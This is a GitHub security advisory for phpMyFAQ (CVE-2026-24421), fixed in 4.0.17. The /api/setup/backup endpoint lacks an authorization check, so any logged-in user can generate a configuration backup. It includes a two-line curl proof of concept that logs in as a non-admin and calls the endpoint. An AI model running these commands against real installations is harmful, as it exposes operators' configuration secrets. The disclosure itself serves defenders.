GitHub Advisoryadvisory · Packagist

GHSA-wm8h-26fv-mg7g phpMyFAQ: /api/setup/backup accessible to any authenticated user (authz missing)

MEDIUM Published 2026-01-23 Modified 2026-01-28 Official page ↗
Aliases
CVE-2026-24421
Ecosystem
Packagist
Packages
phpmyfaq/phpmyfaq, thorsten/phpmyfaq
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-285, CWE-862
Reviewed
2026-01-23

Affected packages

• Packagist phpmyfaq/phpmyfaq: < 4.0.17 → fixed in 4.0.17 • Packagist thorsten/phpmyfaq: < 4.0.17 → fixed in 4.0.17

Description

Summary Authenticated non‑admin users can call /api/setup/backup and trigger a configuration backup. The endpoint only checks authentication, not authorization, and returns a link to the generated ZIP. Details SetupController.php uses userIsAuthenticated() but does not verify that the requester has configuration/admin permissions. This allows any logged‑in user to create a sensitive backup and retrieve its path. PoC Precondition: API enabled, any authenticated non‑admin user. • Log in as a non‑admin user. • Call backup endpoint. ``` curl -c /tmp/pmf_api_cookies.txt \ -H 'Content-Type: application/json' \ -d '{"username":"tester","password":"Test1234!"}' \ http://192.168.40.16/phpmyfaq/api/v3.0/login curl -i -b /tmp/pmf_api_cookies.txt \ -X POST --data '4.0.16' \ http://192.168.40.16/phpmyfaq/api/setup/backup ``` Impact Low‑privileged users can generate sensitive backups. If the ZIP is web‑accessible (server misconfiguration), this can lead to secret exposure.

Related

Alias · CVE (1)

  • CVE-2026-24421 phpMyFAQ is an open source FAQ web application. vulnerability

Weakness · CWE (2)

  • CWE-285 Improper Authorization weakness
  • CWE-862 Missing Authorization weakness

References